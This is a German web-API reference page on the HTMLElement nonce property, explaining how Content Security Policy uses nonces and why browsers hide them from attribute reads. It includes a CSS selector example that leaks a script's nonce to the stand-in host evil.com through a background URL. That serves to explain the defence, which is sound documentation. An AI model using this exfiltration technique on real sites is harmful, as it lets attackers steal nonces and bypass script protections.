HTMLElement: nonce-Eigenschaft

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since August 2016.

Die nonce-Eigenschaft des HTMLElement-Interfaces gibt die kryptografische Nummer zurück, die einmal verwendet wird, um vom Content Security Policy zu bestimmen, ob ein bestimmter Abruf ausgeführt werden darf.

In späteren Implementierungen geben Elemente ihr nonce-Attribut nur an Skripte weiter (und nicht an Nebenkanäle wie CSS-Attributselektoren).

Beispiele

Abrufen eines nonce-Wertes

In der Vergangenheit unterstützten nicht alle Browser das nonce IDL-Attribut, daher war ein Workaround, getAttribute als Fallback zu verwenden:

js
let nonce = script["nonce"] || script.getAttribute("nonce");

Allerdings verbergen neuere Browserversionen nonce-Werte, die auf diese Weise abgerufen werden (ein leerer String wird zurückgegeben). Die IDL-Eigenschaft (script['nonce']) wird der einzige Weg sein, um Nicht-Kopplungen zuzugreifen.

Das Verbergen von Nonce hilft, Angreifer daran zu hindern, Nonce-Daten über Mechanismen zu exfiltrieren, die Daten aus Inhaltsattributen abrufen können, wie diesem CSS-Selektor:

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Spezifikationen

Specification
HTML
# dom-noncedelement-nonce

Browser-Kompatibilität

Siehe auch